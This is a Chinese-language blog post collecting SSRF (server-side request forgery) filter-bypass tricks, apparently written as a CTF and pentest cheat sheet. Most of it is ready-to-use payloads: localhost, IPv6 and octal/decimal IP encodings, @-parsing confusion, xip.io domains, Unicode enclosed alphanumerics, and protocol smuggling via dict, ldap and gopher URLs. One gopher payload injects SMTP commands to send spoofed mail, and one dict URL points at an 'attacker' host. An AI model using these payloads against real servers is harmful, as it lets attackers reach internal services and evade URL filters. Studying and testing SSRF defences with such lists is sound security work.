SSRF的一些tricks

SSRF 是什么?简单地来说:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务

可以用来:

  • 探测内网信息
  • 攻击内网或本地其他服务
  • 穿透防火墙

寻找方法:

  • 能够对外发起网络请求的地方
  • 请求远程服务器资源的地方
  • 数据库内置功能
  • 邮件系统
  • 文件处理
  • 在线处理工具

一些绕过的方法

0x00 攻击本地

1
2
http://127.0.0.1:80
http://localhost:22

0x01 利用ipv6

利用[::]绕过localhost

1
2
http://[::1]/ >>> http://127.0.0.1
http://[::]/ >>> http://0.0.0.0

也有 http://0000::1:80/ 这种

0x02 利用@

1
http://example.com@127.0.0.1

0x03 利用短地址

1
http://dwz.cn/11SMa  >>>  http://127.0.0.1

0x04 利用特殊域名

利用的原理是DNS解析

1
2
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/

0x05 利用DNS解析

在域名上设置A记录,指向127.0.1

0x06 利用修改上传

比如可以修改 “type=file” 为 “type=url”
将图片文件修改为URL,即可能触发 SSRF

0x07 利用Enclosed alphanumerics

1
2
3
4
5
6
7
8
9
10
11
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

0x08 利用句号

1
127。0。0。1  >>>  127.0.0.1

0x09 利用进制转换

可以是十六进制,八进制等

1
2
115.239.210.26  >>>  16373751032
http://016373751032/

首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成八进制
记得访问的时候加 0 表示使用八进制(可以是一个0也可以是多个0,跟XSS中多加几个0来绕过过滤一样),十六进制加0x

1
2
3
4
http://127.0.0.1  >>>  http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/

0x0A 利用特殊地址

1
http://0/

0x0B 利用协议

1
2
3
4
5
6
7
8
9
10
11
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

0x0C 0.0.0.0

1
http://0.0.0.0/

这个方法似乎只能在Linux下使用,Windows并不认识这个ip

0x0D 利用curl和其他库解析url的差异性

1
http://foo@127.0.0.1:80@www.google.com/

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 有提到,不过这个方法在curl较新的版本里被修掉了

0x0E DNS Rebinding

懒🐕表示还没搞,以后补上

0x0F 127.1

[网鼎杯 2020 玄武组]SSRFMe 这道题中有这么个点

1
http://127.1/
  • ip2long('127.1')会返回false,这里可以绕过过滤
  • 但是gethostbyname在Linux下会把127.1变为127.0.0.1,所以这题是无法使用的。不过windows下经过gethostbyname后依然是127.1
  • curl是支持127.1这样的写法的,但这样发出去的http请求是有问题的。因为http包中的host头被设为了127.1,apache会返回一个400 Bad Request
  • 既然是http包的问题,那么用gopher协议构造一个正常的http请求即可。不过这因为gethostbyname的原因,这个方法这里用不了

0x10 127.0.0.1.

1
http://127.0.0.1.

不过curl方法不支持这种写法

0x11 http:///

1
http:///127.0.0.1

依然是 [网鼎杯 2020 玄武组]SSRFMe


  • 这个trick也非常有意思,之前一直以为只有浏览器才会解析这样host为空的畸形url,在P师傅小密圈地旧帖里面Li4n0师傅提到curl和git也会按照浏览器的方式解析,测试一下发现直接用curl会卡在那,但是php的libcurl就可以…
  • parse_url解析这样的畸形url会返回false,然后$hostname=$url_parse['host'];会返回null(神奇的php)
  • 接着又是一个windows和linux下php的差异,windows下gethostbyname(null);会返回本机ip,导致后面无法绕过ip检测。然而linux下并没有这样的特性,gethostbyname会返回null,绕过ip检测

整理了一下SSRF的一些tricks。